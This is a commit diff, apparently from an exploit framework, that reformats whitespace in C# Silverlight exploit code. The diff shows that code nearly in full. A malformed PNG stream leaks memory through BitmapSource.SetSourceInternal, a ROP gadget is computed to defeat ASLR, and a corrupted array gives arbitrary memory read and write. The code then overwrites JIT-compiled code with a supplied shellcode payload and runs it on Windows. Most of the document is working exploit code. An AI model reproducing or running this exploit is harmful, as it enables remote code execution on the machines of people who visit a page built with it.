Switch to soft tabs the cs code
This commit is contained in:
jvazquez-r7
parent
9f539bafae
commit
31b4e72196
|
|
@ -12,54 +12,54 @@ using System.Windows.Shapes;
|
|||
|
||||
namespace SilverApp1
|
||||
{
|
||||
public partial class App : Application
|
||||
{
|
||||
public partial class App : Application
|
||||
{
|
||||
|
||||
public App()
|
||||
{
|
||||
this.Startup += this.Application_Startup;
|
||||
this.Exit += this.Application_Exit;
|
||||
this.UnhandledException += this.Application_UnhandledException;
|
||||
public App()
|
||||
{
|
||||
this.Startup += this.Application_Startup;
|
||||
this.Exit += this.Application_Exit;
|
||||
this.UnhandledException += this.Application_UnhandledException;
|
||||
|
||||
InitializeComponent();
|
||||
}
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void Application_Startup(object sender, StartupEventArgs e)
|
||||
{
|
||||
private void Application_Startup(object sender, StartupEventArgs e)
|
||||
{
|
||||
this.RootVisual = new MainPage(e.InitParams);
|
||||
}
|
||||
}
|
||||
|
||||
private void Application_Exit(object sender, EventArgs e)
|
||||
{
|
||||
private void Application_Exit(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
private void Application_UnhandledException(object sender, ApplicationUnhandledExceptionEventArgs e)
|
||||
{
|
||||
// If the app is running outside of the debugger then report the exception using
|
||||
// the browser's exception mechanism. On IE this will display it a yellow alert
|
||||
// icon in the status bar and Firefox will display a script error.
|
||||
if (!System.Diagnostics.Debugger.IsAttached) {
|
||||
private void Application_UnhandledException(object sender, ApplicationUnhandledExceptionEventArgs e)
|
||||
{
|
||||
// If the app is running outside of the debugger then report the exception using
|
||||
// the browser's exception mechanism. On IE this will display it a yellow alert
|
||||
// icon in the status bar and Firefox will display a script error.
|
||||
if (!System.Diagnostics.Debugger.IsAttached) {
|
||||
|
||||
// NOTE: This will allow the application to continue running after an exception has been thrown
|
||||
// but not handled.
|
||||
// For production applications this error handling should be replaced with something that will
|
||||
// report the error to the website and stop the application.
|
||||
e.Handled = true;
|
||||
Deployment.Current.Dispatcher.BeginInvoke(delegate { ReportErrorToDOM(e); });
|
||||
}
|
||||
}
|
||||
// NOTE: This will allow the application to continue running after an exception has been thrown
|
||||
// but not handled.
|
||||
// For production applications this error handling should be replaced with something that will
|
||||
// report the error to the website and stop the application.
|
||||
e.Handled = true;
|
||||
Deployment.Current.Dispatcher.BeginInvoke(delegate { ReportErrorToDOM(e); });
|
||||
}
|
||||
}
|
||||
|
||||
private void ReportErrorToDOM(ApplicationUnhandledExceptionEventArgs e)
|
||||
{
|
||||
try {
|
||||
string errorMsg = e.ExceptionObject.Message + e.ExceptionObject.StackTrace;
|
||||
errorMsg = errorMsg.Replace('"', '\'').Replace("\r\n", @"\n");
|
||||
private void ReportErrorToDOM(ApplicationUnhandledExceptionEventArgs e)
|
||||
{
|
||||
try {
|
||||
string errorMsg = e.ExceptionObject.Message + e.ExceptionObject.StackTrace;
|
||||
errorMsg = errorMsg.Replace('"', '\'').Replace("\r\n", @"\n");
|
||||
|
||||
System.Windows.Browser.HtmlPage.Window.Eval("throw new Error(\"Unhandled Error in Silverlight Application " + errorMsg + "\");");
|
||||
}
|
||||
catch (Exception) {
|
||||
}
|
||||
}
|
||||
}
|
||||
System.Windows.Browser.HtmlPage.Window.Eval("throw new Error(\"Unhandled Error in Silverlight Application " + errorMsg + "\");");
|
||||
}
|
||||
catch (Exception) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -15,20 +15,20 @@ namespace SilverApp1
|
|||
{
|
||||
// raw PNG image data w/o PLTE chunk data // not the shellcode :)
|
||||
static byte[] pngStart = {
|
||||
0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A, // PNG header
|
||||
0,0,0,0x0D,0x49,0x48,0x44,0x52,0,0,0,0x08,0,0,0,0x04,0x08,0x03,0,0,0,0x84,0x13,0x8E,0xC2, // IHDR chunk
|
||||
0,0,0x03,0,0x50,0x4C,0x54,0x45 // PLTE chunk header
|
||||
};
|
||||
static byte[] pngEnd = {
|
||||
0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A, // PNG header
|
||||
0,0,0,0x0D,0x49,0x48,0x44,0x52,0,0,0,0x08,0,0,0,0x04,0x08,0x03,0,0,0,0x84,0x13,0x8E,0xC2, // IHDR chunk
|
||||
0,0,0x03,0,0x50,0x4C,0x54,0x45 // PLTE chunk header
|
||||
};
|
||||
static byte[] pngEnd = {
|
||||
0,0,0,0, // PLTE chunk checksum can be 0
|
||||
0,0,0,0x2F,0x49,0x44,0x41,0x54,0x78,0xDA,0x01,0x24,0,0xDB,0xFF,0,0,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0,0x08,0x09,0x0A,0x0B,0x0C,0x0D,
|
||||
0x0E,0x0F,0,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x17,0x1C,0x01,0xF1,0x7D,0xBE,0xC7,0x66, // IDAT chunk
|
||||
0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82 // IEND chunk
|
||||
0,0,0,0x2F,0x49,0x44,0x41,0x54,0x78,0xDA,0x01,0x24,0,0xDB,0xFF,0,0,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0,0x08,0x09,0x0A,0x0B,0x0C,0x0D,
|
||||
0x0E,0x0F,0,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x17,0x1C,0x01,0xF1,0x7D,0xBE,0xC7,0x66, // IDAT chunk
|
||||
0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82 // IEND chunk
|
||||
};
|
||||
|
||||
Object[] obj;
|
||||
public byte[] png;
|
||||
public int offs;
|
||||
public int offs;
|
||||
|
||||
// create Stream basing on pngStart[]
|
||||
public MyStream() : base(pngStart)
|
||||
|
|
@ -38,9 +38,9 @@ namespace SilverApp1
|
|||
int ReadBuf(byte[] buffer, int offset, int count)
|
||||
{
|
||||
// calc true PNG image length
|
||||
int res = pngStart.Length + 0x300 + pngEnd.Length;
|
||||
|
||||
base.Read(buffer, offset, count); // (count = buffer.Length) < res
|
||||
int res = pngStart.Length + 0x300 + pngEnd.Length;
|
||||
|
||||
base.Read(buffer, offset, count); // (count = buffer.Length) < res
|
||||
MainPage.LogAdd("MyStream.Read(["+buffer.Length+"],"+offset+","+count+") = " + res);
|
||||
return res;
|
||||
}
|
||||
|
|
@ -50,7 +50,7 @@ namespace SilverApp1
|
|||
{
|
||||
// allocate arrays sequentially in memory
|
||||
int len = pngEnd.Length;
|
||||
obj = new object[] { null, null }; // as PLTE data
|
||||
obj = new object[] { null, null }; // as PLTE data
|
||||
png = new byte[0x300 + len - offs]; // as rest PNG data
|
||||
MainPage.buf = new uint[3]; // the target array for memory corruption
|
||||
MainPage.obj = new object[3]; // aux array
|
||||
|
|
@ -78,20 +78,20 @@ namespace SilverApp1
|
|||
// access protected Initialize()
|
||||
public void Init(IntPtr handle)
|
||||
{
|
||||
MainPage.LogAdd("ScriptObject.Initialize(" + MainPage.Hex((ulong)handle) + ", 1, true, false)");
|
||||
Initialize(handle, (IntPtr)1, true, false); // call agcore.dll DOM_ReferenceObject()
|
||||
MainPage.LogAdd("ScriptObject.Initialize(" + MainPage.Hex((ulong)handle) + ", 1, true, false)");
|
||||
Initialize(handle, (IntPtr)1, true, false); // call agcore.dll DOM_ReferenceObject()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public partial class MainPage : UserControl
|
||||
{
|
||||
public static RichTextBox tbox;
|
||||
public static uint[] buf;
|
||||
public static ulong bufAddr;
|
||||
public static object[] obj;
|
||||
public static bool is64;
|
||||
public static Version vsn;
|
||||
public partial class MainPage : UserControl
|
||||
{
|
||||
public static RichTextBox tbox;
|
||||
public static uint[] buf;
|
||||
public static ulong bufAddr;
|
||||
public static object[] obj;
|
||||
public static bool is64;
|
||||
public static Version vsn;
|
||||
public static byte[] payload;
|
||||
|
||||
public MainPage(System.Collections.Generic.IDictionary<string, string> iDictionary)
|
||||
|
|
@ -101,8 +101,8 @@ namespace SilverApp1
|
|||
tbox = richTxtBox;
|
||||
#endif
|
||||
// print environment info
|
||||
vsn = Environment.Version;
|
||||
LogAdd("Silverlight: " + vsn.ToString() + "\n" + "OS: " + Environment.OSVersion.ToString());
|
||||
vsn = Environment.Version;
|
||||
LogAdd("Silverlight: " + vsn.ToString() + "\n" + "OS: " + Environment.OSVersion.ToString());
|
||||
payload = Convert.FromBase64String(iDictionary["payload"]);
|
||||
LogAdd(String.Format("Payload decoded length: {0}", payload.Length));
|
||||
#if !DEBUG
|
||||
|
|
@ -112,15 +112,15 @@ namespace SilverApp1
|
|||
#endif
|
||||
}
|
||||
|
||||
// prints message into richTextBox
|
||||
public static void LogAdd(string txt)
|
||||
{
|
||||
// prints message into richTextBox
|
||||
public static void LogAdd(string txt)
|
||||
{
|
||||
#if DEBUG
|
||||
Paragraph p = new Paragraph();
|
||||
p.Inlines.Add(txt);
|
||||
tbox.Blocks.Add(p);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
public static void LogAdd(object obj)
|
||||
{
|
||||
|
|
@ -129,16 +129,16 @@ namespace SilverApp1
|
|||
#endif
|
||||
}
|
||||
|
||||
// converts int to hex string
|
||||
public static string Hex(int u)
|
||||
{
|
||||
return u <= 9 ? u.ToString() : "0x" + u.ToString("X");
|
||||
}
|
||||
// converts int to hex string
|
||||
public static string Hex(int u)
|
||||
{
|
||||
return u <= 9 ? u.ToString() : "0x" + u.ToString("X");
|
||||
}
|
||||
|
||||
public static string Hex(ulong u)
|
||||
{
|
||||
return u <= 9 ? u.ToString() : "0x" + u.ToString("X");
|
||||
}
|
||||
public static string Hex(ulong u)
|
||||
{
|
||||
return u <= 9 ? u.ToString() : "0x" + u.ToString("X");
|
||||
}
|
||||
|
||||
// reads pointer from byte[]
|
||||
public static ulong ReadAddr(byte[] b, int offs)
|
||||
|
|
@ -149,34 +149,34 @@ namespace SilverApp1
|
|||
}
|
||||
|
||||
// writes pointer into byte[]
|
||||
public static void WriteAddr(byte[] b, int offs, ulong u)
|
||||
public static void WriteAddr(byte[] b, int offs, ulong u)
|
||||
{
|
||||
for (int i = offs; i < offs + (is64 ? 8:4); i++, u >>= 8)
|
||||
for (int i = offs; i < offs + (is64 ? 8:4); i++, u >>= 8)
|
||||
b[i] = (byte)(u & 0xff);
|
||||
}
|
||||
|
||||
// exploits memory disclosure in BitmapSource.SetSourceInternal()
|
||||
// exploits memory disclosure in BitmapSource.SetSourceInternal()
|
||||
ulong MemoryDiscl()
|
||||
{
|
||||
try
|
||||
{
|
||||
// prepare malicious MemoryStream
|
||||
{
|
||||
// prepare malicious MemoryStream
|
||||
MyStream ms = new MyStream();
|
||||
|
||||
// create image based on stream data and data "outside" the stream
|
||||
BitmapImage bi = new BitmapImage();
|
||||
ms.offs = 39; // set offset for 32 bit environment
|
||||
bi.SetSource(ms); // call the vulnerable SetSourceInternal()
|
||||
|
||||
// check png data parsing results
|
||||
is64 = bi.PixelWidth == 0 || bi.PixelHeight == 0;
|
||||
if (is64) { // error, ok lets try again with the offset for 64 bit
|
||||
ms.offs = 79;
|
||||
bi.SetSource(ms);
|
||||
}
|
||||
|
||||
// check png data parsing results
|
||||
if (bi.PixelWidth == 0 || bi.PixelHeight == 0) throw new Exception("Bad PNG data"); // error png parsing
|
||||
// create image based on stream data and data "outside" the stream
|
||||
BitmapImage bi = new BitmapImage();
|
||||
ms.offs = 39; // set offset for 32 bit environment
|
||||
bi.SetSource(ms); // call the vulnerable SetSourceInternal()
|
||||
|
||||
// check png data parsing results
|
||||
is64 = bi.PixelWidth == 0 || bi.PixelHeight == 0;
|
||||
if (is64) { // error, ok lets try again with the offset for 64 bit
|
||||
ms.offs = 79;
|
||||
bi.SetSource(ms);
|
||||
}
|
||||
|
||||
// check png data parsing results
|
||||
if (bi.PixelWidth == 0 || bi.PixelHeight == 0) throw new Exception("Bad PNG data"); // error png parsing
|
||||
|
||||
// ok, now we should pass the diclosed memory into WriteableBitmap to access it as RGB pixel data
|
||||
WriteableBitmap wb = new WriteableBitmap(bi);
|
||||
|
|
@ -205,31 +205,31 @@ namespace SilverApp1
|
|||
|
||||
// parse memory addresses from b[]
|
||||
ulong hMod = ReadAddr(b, is64 ? 0:1); // type pointer for obj[] // we'll need it for mscorlib.ni.dll image base calculation for the ASLR bypass
|
||||
ulong addr1 = ReadAddr(b, is64 ? 24:13); // obj[0] = address of png[]
|
||||
bufAddr = ReadAddr(b, is64 ? 32:17); // obj[1] = address of MainPage.inst.buf[]
|
||||
ulong addr1 = ReadAddr(b, is64 ? 24:13); // obj[0] = address of png[]
|
||||
bufAddr = ReadAddr(b, is64 ? 32:17); // obj[1] = address of MainPage.inst.buf[]
|
||||
|
||||
LogAdd("obj[] type = " + Hex(hMod) + ", png[] address = " + Hex(addr1) + ", buf[] address = " + Hex(bufAddr));
|
||||
LogAdd("obj[] type = " + Hex(hMod) + ", png[] address = " + Hex(addr1) + ", buf[] address = " + Hex(bufAddr));
|
||||
|
||||
// calc the ROP offset inside mscorlib.ni.dll
|
||||
// * x86
|
||||
// calc the ROP offset inside mscorlib.ni.dll
|
||||
// * x86
|
||||
// 7997526b 83493440 or dword ptr [ecx+34h],40h
|
||||
// 7997526f b801000000 mov eax,1
|
||||
// 79975274 c20400 ret 4
|
||||
// * x64
|
||||
// 000007fe`f03e19d0 895168 mov dword ptr [rcx+68h],edx
|
||||
// 000007fe`f03e19d3 c3 ret
|
||||
if (Environment.OSVersion.Platform != PlatformID.Win32NT) throw new Exception("Sorry, but the further code works for Windows only.");
|
||||
ulong rop = 0;
|
||||
if (vsn.Major == 5 && vsn.Build == 10411)
|
||||
if (Environment.OSVersion.Platform != PlatformID.Win32NT) throw new Exception("Sorry, but the further code works for Windows only.");
|
||||
ulong rop = 0;
|
||||
if (vsn.Major == 5 && vsn.Build == 10411)
|
||||
{
|
||||
rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A526B);
|
||||
}
|
||||
rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A526B);
|
||||
}
|
||||
else if (vsn.Major == 5 && vsn.Build == 61118)
|
||||
{
|
||||
rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A520F);
|
||||
}
|
||||
|
||||
if (rop == 0) throw new Exception("Sorry, but the further code works for vulnerable 5 builds only.");
|
||||
if (rop == 0) throw new Exception("Sorry, but the further code works for vulnerable 5 builds only.");
|
||||
|
||||
// calc object pointer offset inside png2[]
|
||||
ulong addr2 = bufAddr - (ulong)(is64 ? 96:45);
|
||||
|
|
@ -237,10 +237,10 @@ namespace SilverApp1
|
|||
|
||||
// write vtable pointer
|
||||
WriteAddr(ms.png, k, addr2);
|
||||
// write address of ROP gadget
|
||||
// write address of ROP gadget
|
||||
WriteAddr(ms.png, k + (is64 ? 8:4), rop);
|
||||
|
||||
// ok, return the pointer for ScriptObject.Initialize() exploitation
|
||||
// ok, return the pointer for ScriptObject.Initialize() exploitation
|
||||
return addr2;
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
|
@ -251,9 +251,9 @@ namespace SilverApp1
|
|||
return 0;
|
||||
}
|
||||
|
||||
class ShellHelper32 : Random
|
||||
{
|
||||
// x32 shellcode
|
||||
class ShellHelper32 : Random
|
||||
{
|
||||
// x32 shellcode
|
||||
uint[] payload;
|
||||
|
||||
// PreCondition : arr.Lenth % 4 == 0
|
||||
|
|
@ -265,96 +265,96 @@ namespace SilverApp1
|
|||
payload[k] = BitConverter.ToUInt32(arr, i);
|
||||
}
|
||||
}
|
||||
|
||||
// read uint from memory address
|
||||
uint Get(uint addr)
|
||||
{
|
||||
if (addr > 0x10000) return buf[(addr - (uint)bufAddr - 8) >> 2]; else return 0;
|
||||
}
|
||||
|
||||
// write uint into memory address
|
||||
void Set(uint addr, uint val)
|
||||
{
|
||||
if (addr > 0x10000) buf[(addr - (uint)bufAddr - 8) >> 2] = val;
|
||||
}
|
||||
// read uint from memory address
|
||||
uint Get(uint addr)
|
||||
{
|
||||
if (addr > 0x10000) return buf[(addr - (uint)bufAddr - 8) >> 2]; else return 0;
|
||||
}
|
||||
|
||||
// exchange two uint arrays
|
||||
void Exchange(uint addr, uint[] arr)
|
||||
{
|
||||
uint u;
|
||||
int len = arr.Length;
|
||||
for (int i=0; i < len; i++, addr += 4) {
|
||||
u = Get(addr); Set(addr, arr[i]); arr[i] = u;
|
||||
}
|
||||
}
|
||||
// write uint into memory address
|
||||
void Set(uint addr, uint val)
|
||||
{
|
||||
if (addr > 0x10000) buf[(addr - (uint)bufAddr - 8) >> 2] = val;
|
||||
}
|
||||
|
||||
// declare virtual function for the further DEP bypass
|
||||
public virtual int Payload()
|
||||
{
|
||||
// generate dummy JIT-code
|
||||
if (this == null) LogAdd(ToString());
|
||||
if (this == null) LogAdd(ToString());
|
||||
if (this == null) LogAdd(ToString());
|
||||
if (this == null) LogAdd(ToString());
|
||||
if (this == null) LogAdd(ToString());
|
||||
// exchange two uint arrays
|
||||
void Exchange(uint addr, uint[] arr)
|
||||
{
|
||||
uint u;
|
||||
int len = arr.Length;
|
||||
for (int i=0; i < len; i++, addr += 4) {
|
||||
u = Get(addr); Set(addr, arr[i]); arr[i] = u;
|
||||
}
|
||||
}
|
||||
|
||||
// declare virtual function for the further DEP bypass
|
||||
public virtual int Payload()
|
||||
{
|
||||
// generate dummy JIT-code
|
||||
if (this == null) LogAdd(ToString());
|
||||
if (this == null) LogAdd(ToString());
|
||||
if (this == null) LogAdd(ToString());
|
||||
if (this == null) LogAdd(ToString());
|
||||
if (this == null) LogAdd(ToString());
|
||||
LogAdd("Payload() hit!");
|
||||
return 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public virtual void Exec(int oldLen)
|
||||
{
|
||||
try {
|
||||
// generate JIT-code for Payload()
|
||||
Payload();
|
||||
public virtual void Exec(int oldLen)
|
||||
{
|
||||
try {
|
||||
// generate JIT-code for Payload()
|
||||
Payload();
|
||||
|
||||
// save pointers within obj[] array after buf[]
|
||||
obj[0] = buf;
|
||||
obj[1] = this;
|
||||
|
||||
// find obj[] array and "this" pointer after buf[]
|
||||
uint addr = 0;
|
||||
for (int i = 2; i < 64; i++)
|
||||
if (buf[i] == (uint)bufAddr) { addr = buf[i+1]; break; }
|
||||
// save pointers within obj[] array after buf[]
|
||||
obj[0] = buf;
|
||||
obj[1] = this;
|
||||
|
||||
if (addr == 0) throw new Exception("Can't find obj[]");
|
||||
// find obj[] array and "this" pointer after buf[]
|
||||
uint addr = 0;
|
||||
for (int i = 2; i < 64; i++)
|
||||
if (buf[i] == (uint)bufAddr) { addr = buf[i+1]; break; }
|
||||
|
||||
// get (this.type + 2c) -> (vtable + 8) -> Payload() address
|
||||
addr = Get(Get(Get(addr) + 0x2c) + 8);
|
||||
//for (uint i = 0; i < 16; i++) LogAdd(Hex(Get(addr + i*4))); // for RnD
|
||||
LogAdd("Payload() address = " + Hex(addr));
|
||||
if (addr == 0) throw new Exception("Can't find Payload() address");
|
||||
if (addr == 0) throw new Exception("Can't find obj[]");
|
||||
|
||||
// copy payload over JIT-code memory
|
||||
addr -= addr % 4;
|
||||
Exchange(addr, payload);
|
||||
// get (this.type + 2c) -> (vtable + 8) -> Payload() address
|
||||
addr = Get(Get(Get(addr) + 0x2c) + 8);
|
||||
//for (uint i = 0; i < 16; i++) LogAdd(Hex(Get(addr + i*4))); // for RnD
|
||||
LogAdd("Payload() address = " + Hex(addr));
|
||||
if (addr == 0) throw new Exception("Can't find Payload() address");
|
||||
|
||||
// copy payload over JIT-code memory
|
||||
addr -= addr % 4;
|
||||
Exchange(addr, payload);
|
||||
|
||||
uint contents = Get(addr);
|
||||
|
||||
LogAdd("Payload() Address " + Hex(addr) + ", Contents: " + Hex(contents));
|
||||
|
||||
LogAdd("Executing payload...");
|
||||
// exec payload
|
||||
int res = Payload();
|
||||
// exec payload
|
||||
int res = Payload();
|
||||
|
||||
// restore JIT memory
|
||||
//Exchange(addr, payload);
|
||||
// restore JIT memory
|
||||
//Exchange(addr, payload);
|
||||
|
||||
LogAdd("Payload() returns " + Hex(res));
|
||||
}
|
||||
catch (Exception ex) {
|
||||
LogAdd("Error: " + ex.ToString());
|
||||
}
|
||||
LogAdd("Payload() returns " + Hex(res));
|
||||
}
|
||||
catch (Exception ex) {
|
||||
LogAdd("Error: " + ex.ToString());
|
||||
}
|
||||
|
||||
// restore buf[] length
|
||||
buf[0x40000000-1] = (uint)oldLen;
|
||||
LogAdd("buf.Length = " + Hex(buf.Length));
|
||||
}
|
||||
}
|
||||
// restore buf[] length
|
||||
buf[0x40000000-1] = (uint)oldLen;
|
||||
LogAdd("buf.Length = " + Hex(buf.Length));
|
||||
}
|
||||
}
|
||||
|
||||
class ShellHelper64 : ShellHelper32
|
||||
{
|
||||
// x64 shellcode
|
||||
byte[] payload;
|
||||
class ShellHelper64 : ShellHelper32
|
||||
{
|
||||
// x64 shellcode
|
||||
byte[] payload;
|
||||
|
||||
public override void SetPayload(byte[] arr)
|
||||
{
|
||||
|
|
@ -364,153 +364,153 @@ namespace SilverApp1
|
|||
payload[i] = arr[i];
|
||||
}
|
||||
}
|
||||
|
||||
UnmanagedMemoryStream ums;
|
||||
ulong umsAddr;
|
||||
byte[] bb;
|
||||
|
||||
// read ulong from x64 memory address
|
||||
ulong Get(ulong addr)
|
||||
{
|
||||
if (addr < 0x10000) return 0;
|
||||
UnmanagedMemoryStream ums;
|
||||
ulong umsAddr;
|
||||
byte[] bb;
|
||||
|
||||
addr = (addr - bufAddr - 8) >> 2;
|
||||
return ((ulong)buf[addr+1] << 32) + buf[addr];
|
||||
}
|
||||
// read ulong from x64 memory address
|
||||
ulong Get(ulong addr)
|
||||
{
|
||||
if (addr < 0x10000) return 0;
|
||||
|
||||
// write ulong into x64 memory address
|
||||
void Set(ulong addr, ulong val)
|
||||
{
|
||||
if (addr < 0x10000) return;
|
||||
addr = (addr - bufAddr - 8) >> 2;
|
||||
return ((ulong)buf[addr+1] << 32) + buf[addr];
|
||||
}
|
||||
|
||||
addr = (addr - bufAddr - 8) >> 2;
|
||||
buf[addr] = (uint)val;
|
||||
buf[addr+1] = (uint)(val >> 32);
|
||||
}
|
||||
// write ulong into x64 memory address
|
||||
void Set(ulong addr, ulong val)
|
||||
{
|
||||
if (addr < 0x10000) return;
|
||||
|
||||
// read ulong from x64 memory address using ums
|
||||
ulong Read(ulong addr)
|
||||
{
|
||||
if (addr < 0x10000) return 0;
|
||||
addr = (addr - bufAddr - 8) >> 2;
|
||||
buf[addr] = (uint)val;
|
||||
buf[addr+1] = (uint)(val >> 32);
|
||||
}
|
||||
|
||||
// set ums._mem pointer
|
||||
Set(umsAddr + 8, addr);
|
||||
// read ulong from x64 memory address using ums
|
||||
ulong Read(ulong addr)
|
||||
{
|
||||
if (addr < 0x10000) return 0;
|
||||
|
||||
// read ulong from ums
|
||||
ums.Position = 0;
|
||||
ums.Read(bb, 0, 8);
|
||||
return ReadAddr(bb, 0);
|
||||
}
|
||||
// set ums._mem pointer
|
||||
Set(umsAddr + 8, addr);
|
||||
|
||||
// write ulong into x64 memory address using ums
|
||||
void Write(ulong addr, ulong val)
|
||||
{
|
||||
if (addr < 0x10000) return;
|
||||
// read ulong from ums
|
||||
ums.Position = 0;
|
||||
ums.Read(bb, 0, 8);
|
||||
return ReadAddr(bb, 0);
|
||||
}
|
||||
|
||||
// set ums._mem pointer
|
||||
Set(umsAddr + 8, addr);
|
||||
// write ulong into x64 memory address using ums
|
||||
void Write(ulong addr, ulong val)
|
||||
{
|
||||
if (addr < 0x10000) return;
|
||||
|
||||
// write ulong into ums
|
||||
ums.Position = 0;
|
||||
WriteAddr(bb, 0, val);
|
||||
ums.Write(bb, 0, 8);
|
||||
}
|
||||
// set ums._mem pointer
|
||||
Set(umsAddr + 8, addr);
|
||||
|
||||
// exchange two byte[] arrays
|
||||
void Exchange(ulong addr, byte[] arr)
|
||||
{
|
||||
int len = arr.Length;
|
||||
byte[] b = (byte[])arr.Clone();
|
||||
|
||||
// set ums._mem pointer
|
||||
Set(umsAddr + 8, addr);
|
||||
// write ulong into ums
|
||||
ums.Position = 0;
|
||||
WriteAddr(bb, 0, val);
|
||||
ums.Write(bb, 0, 8);
|
||||
}
|
||||
|
||||
// read byte[] from ums
|
||||
ums.Position = 0;
|
||||
ums.Read(arr, 0, len);
|
||||
// exchange two byte[] arrays
|
||||
void Exchange(ulong addr, byte[] arr)
|
||||
{
|
||||
int len = arr.Length;
|
||||
byte[] b = (byte[])arr.Clone();
|
||||
|
||||
// write byte[] into ums
|
||||
ums.Position = 0;
|
||||
ums.Write(b, 0, len);
|
||||
}
|
||||
// set ums._mem pointer
|
||||
Set(umsAddr + 8, addr);
|
||||
|
||||
public override void Exec(int oldLen)
|
||||
{
|
||||
try {
|
||||
// generate JIT-code for Payload()
|
||||
Payload();
|
||||
// read byte[] from ums
|
||||
ums.Position = 0;
|
||||
ums.Read(arr, 0, len);
|
||||
|
||||
// create UnmanagedMemoryStream
|
||||
ResourceManager rm = new ResourceManager("System.Windows.g", typeof(Control).Assembly);
|
||||
ums = rm.GetStream("themes/generic.xaml");
|
||||
LogAdd(ums);
|
||||
if (ums == null) throw new Exception("Can't find themes/generic.xaml");
|
||||
// write byte[] into ums
|
||||
ums.Position = 0;
|
||||
ums.Write(b, 0, len);
|
||||
}
|
||||
|
||||
// save pointers within obj[] array after buf[]
|
||||
obj[0] = buf;
|
||||
obj[1] = this;
|
||||
obj[2] = ums;
|
||||
public override void Exec(int oldLen)
|
||||
{
|
||||
try {
|
||||
// generate JIT-code for Payload()
|
||||
Payload();
|
||||
|
||||
// find obj[] array after buf[]
|
||||
ulong addr = 0;
|
||||
for (int i = 3; i < 64; i++)
|
||||
if (buf[i] == (uint)bufAddr) {
|
||||
addr = ((ulong)buf[i+3] << 32) + buf[i+2];
|
||||
umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4];
|
||||
// create UnmanagedMemoryStream
|
||||
ResourceManager rm = new ResourceManager("System.Windows.g", typeof(Control).Assembly);
|
||||
ums = rm.GetStream("themes/generic.xaml");
|
||||
LogAdd(ums);
|
||||
if (ums == null) throw new Exception("Can't find themes/generic.xaml");
|
||||
|
||||
// ensure that ums was allocated after buf[]
|
||||
for (int j = 0; j < 100 && bufAddr > umsAddr; j++) {
|
||||
ums = rm.GetStream("themes/generic.xaml");
|
||||
obj[2] = ums;
|
||||
umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4];
|
||||
}
|
||||
// save pointers within obj[] array after buf[]
|
||||
obj[0] = buf;
|
||||
obj[1] = this;
|
||||
obj[2] = ums;
|
||||
|
||||
break;
|
||||
}
|
||||
// find obj[] array after buf[]
|
||||
ulong addr = 0;
|
||||
for (int i = 3; i < 64; i++)
|
||||
if (buf[i] == (uint)bufAddr) {
|
||||
addr = ((ulong)buf[i+3] << 32) + buf[i+2];
|
||||
umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4];
|
||||
|
||||
if (addr == 0) throw new Exception("Can't find obj[]");
|
||||
LogAdd("ums address = " + Hex(umsAddr));
|
||||
if (bufAddr > umsAddr) throw new Exception("Can't allocate ums after buf[]");
|
||||
// ensure that ums was allocated after buf[]
|
||||
for (int j = 0; j < 100 && bufAddr > umsAddr; j++) {
|
||||
ums = rm.GetStream("themes/generic.xaml");
|
||||
obj[2] = ums;
|
||||
umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4];
|
||||
}
|
||||
|
||||
//for (uint i = 0; i < 10; i++) LogAdd(Hex(Get(umsAddr+i*8))); // for RnD
|
||||
break;
|
||||
}
|
||||
|
||||
// set ums._access private field to FileAccess.ReadWrite = 3
|
||||
Set(umsAddr + 6*8, 0x300000003);
|
||||
LogAdd("ums.Length = " + ums.Length + ", CanRead = " + ums.CanRead + ", CanWrite = " + ums.CanWrite + ", CanSeek = " + ums.CanSeek);
|
||||
if (!ums.CanRead || !ums.CanWrite) throw new Exception("Can't access ums");
|
||||
if (addr == 0) throw new Exception("Can't find obj[]");
|
||||
LogAdd("ums address = " + Hex(umsAddr));
|
||||
if (bufAddr > umsAddr) throw new Exception("Can't allocate ums after buf[]");
|
||||
|
||||
// ok, we have UnmanagedMemoryStream with controlable private fields,
|
||||
// so we can set any custom ums._mem pointer and read/write data starting from this pointer
|
||||
//for (uint i = 0; i < 10; i++) LogAdd(Hex(Get(umsAddr+i*8))); // for RnD
|
||||
|
||||
// get (this.type + 72) -> (vtable + 16) -> Payload() address
|
||||
bb = new byte[8];
|
||||
addr = Read(Read(Read(addr) + 9*8) + 16);
|
||||
//for (uint i = 0; i < 16; i++) LogAdd(Hex(Read(addr + i*8))); // for RnD
|
||||
LogAdd("Payload() address = " + Hex(addr));
|
||||
if (addr == 0) throw new Exception("Can't find Payload() address");
|
||||
// set ums._access private field to FileAccess.ReadWrite = 3
|
||||
Set(umsAddr + 6*8, 0x300000003);
|
||||
LogAdd("ums.Length = " + ums.Length + ", CanRead = " + ums.CanRead + ", CanWrite = " + ums.CanWrite + ", CanSeek = " + ums.CanSeek);
|
||||
if (!ums.CanRead || !ums.CanWrite) throw new Exception("Can't access ums");
|
||||
|
||||
// copy payload over JIT-code memory
|
||||
Exchange(addr, payload);
|
||||
// ok, we have UnmanagedMemoryStream with controlable private fields,
|
||||
